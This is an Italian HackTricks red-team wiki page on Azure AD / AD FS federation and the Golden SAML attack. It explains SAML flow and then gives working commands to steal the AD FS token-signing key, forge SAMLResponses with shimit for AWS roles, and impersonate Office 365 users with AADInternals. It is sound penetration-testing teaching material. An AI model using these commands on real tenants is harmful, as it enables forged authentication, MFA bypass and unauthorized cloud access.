Az - Federation

Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team di HackTricks AWS)!

Altri modi per supportare HackTricks:

Informazioni di Base

Dalla documentazione:La Federazione è una raccolta di domini che hanno stabilito fiducia. Il livello di fiducia può variare, ma di solito include autenticazione e quasi sempre include autorizzazione. Una federazione tipica potrebbe includere un numero di organizzazioni che hanno stabilito fiducia per accesso condiviso a un insieme di risorse.

Puoi federare il tuo ambiente on-premises con Azure AD e utilizzare questa federazione per l'autenticazione e l'autorizzazione. Questo metodo di accesso garantisce che tutta l'autenticazione degli utenti avvenga in locale. Questo metodo consente agli amministratori di implementare livelli di controllo degli accessi più rigorosi. La federazione con AD FS e PingFederate è disponibile.

In sostanza, nella Federazione, tutta l'autenticazione avviene nell'ambiente on-prem e l'utente sperimenta il SSO in tutti gli ambienti fidati. Pertanto, gli utenti possono accedere alle applicazioni cloud utilizzando le loro credenziali on-prem.

Il Security Assertion Markup Language (SAML) viene utilizzato per scambiare tutte le informazioni di autenticazione e autorizzazione tra i provider.

In qualsiasi configurazione di federazione ci sono tre parti:

  • Utente o Cliente

  • Identity Provider (IdP)

  • Service Provider (SP)

(Immagini da https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

  1. Inizialmente, un'applicazione (Service Provider o SP, come la console AWS o il client web vSphere) viene accessa da un utente. Questo passaggio potrebbe essere bypassato, portando il cliente direttamente all'IdP (Identity Provider) a seconda dell'implementazione specifica.

  2. Successivamente, lo SP identifica l'IdP appropriato (ad es., AD FS, Okta) per l'autenticazione dell'utente. Quindi crea una SAML (Security Assertion Markup Language) AuthnRequest e reindirizza il cliente all'IdP scelto.

  3. L'IdP prende il controllo, autenticando l'utente. Dopo l'autenticazione, viene formulato un SAMLResponse dall'IdP e inoltrato allo SP attraverso l'utente.

  4. Infine, lo SP valuta il SAMLResponse. Se convalidato con successo, implicando una relazione di fiducia con l'IdP, all'utente viene concesso l'accesso. Questo segna il completamento del processo di accesso, consentendo all'utente di utilizzare il servizio.

Se desideri saperne di più sull'autenticazione SAML e sugli attacchi comuni vai a:

Pivoting

  • AD FS è un modello di identità basato su claim.

  • "..i claim sono semplicemente dichiarazioni (ad esempio, nome, identità, gruppo) fatte sugli utenti, che vengono utilizzate principalmente per autorizzare l'accesso alle applicazioni basate su claim situate ovunque su Internet."

  • I claim per un utente sono scritti all'interno dei token SAML e vengono quindi firmati per garantire la riservatezza dall'IdP.

  • Un utente è identificato da ImmutableID. È globalmente univoco e memorizzato in Azure AD.

  • L'ImmutableID è memorizzato on-prem come ms-DS-ConsistencyGuid per l'utente e/o può essere derivato dal GUID dell'utente.

Attacco Golden SAML:

Golden SAML

Il processo in cui un Identity Provider (IdP) produce una SAMLResponse per autorizzare l'accesso dell'utente è fondamentale. A seconda dell'implementazione specifica dell'IdP, la risposta potrebbe essere firmata o crittografata utilizzando la chiave privata dell'IdP. Questa procedura consente al Service Provider (SP) di confermare l'autenticità della SAMLResponse, garantendo che sia stata effettivamente emessa da un IdP fidato.

Si può fare un parallelo con l'attacco del golden ticket, dove la chiave che autentica l'identità e i permessi dell'utente (KRBTGT per i golden ticket, chiave privata di firma del token per i golden SAML) può essere manipolata per forgiare un oggetto di autenticazione (TGT o SAMLResponse). Ciò consente l'impersonificazione di qualsiasi utente, concedendo l'accesso non autorizzato allo SP.

I Golden SAML offrono certi vantaggi:

  • Possono essere creati a distanza, senza la necessità di far parte del dominio o della federazione in questione.

  • Rimangono efficaci anche con l'Autenticazione a Due Fattori (2FA) abilitata.

  • La chiave privata di firma del token non si rinnova automaticamente.

  • Cambiare la password di un utente non invalida una SAML già generata.

AWS + AD FS + Golden SAML

Active Directory Federation Services (AD FS) è un servizio Microsoft che facilita lo scambio sicuro di informazioni di identità tra partner commerciali fidati (federazione). Fondamentalmente consente a un servizio di dominio di condividere le identità degli utenti con altri fornitori di servizi all'interno di una federazione.

Con AWS che si fida del dominio compromesso (in una federazione), questa vulnerabilità può essere sfruttata per potenzialmente acquisire qualsiasi permesso nell'ambiente AWS. L'attacco richiede la chiave privata utilizzata per firmare gli oggetti SAML, simile alla necessità del KRBTGT in un attacco del golden ticket. L'accesso all'account utente AD FS è sufficiente per ottenere questa chiave privata.

I requisiti per eseguire un attacco Golden SAML includono:

  • Chiave privata di firma del token

  • Certificato pubblico IdP

  • Nome IdP

  • Nome ruolo (ruolo da assumere)

  • Dominio\nomeutente

  • Nome sessione ruolo in AWS

  • ID account Amazon

Solo gli elementi in grassetto sono obbligatori. Gli altri possono essere compilati a piacere.

Per acquisire la chiave privata, è necessario l'accesso all'account utente AD FS. Da lì, la chiave privata può essere esportata dallo store personale utilizzando strumenti come mimikatz. Per raccogliere le altre informazioni necessarie, è possibile utilizzare il snapin Microsoft.Adfs.Powershell come segue, assicurandosi di essere connessi come utente ADFS:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

Con tutte le informazioni, è possibile dimenticare un valido SAMLResponse come l'utente che si desidera impersonare utilizzando shimit:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

On-prem -> cloud

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

È anche possibile creare l'ImmutableID degli utenti solo cloud e impersonarli

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

Riferimenti

Impara l'hacking su AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Last updated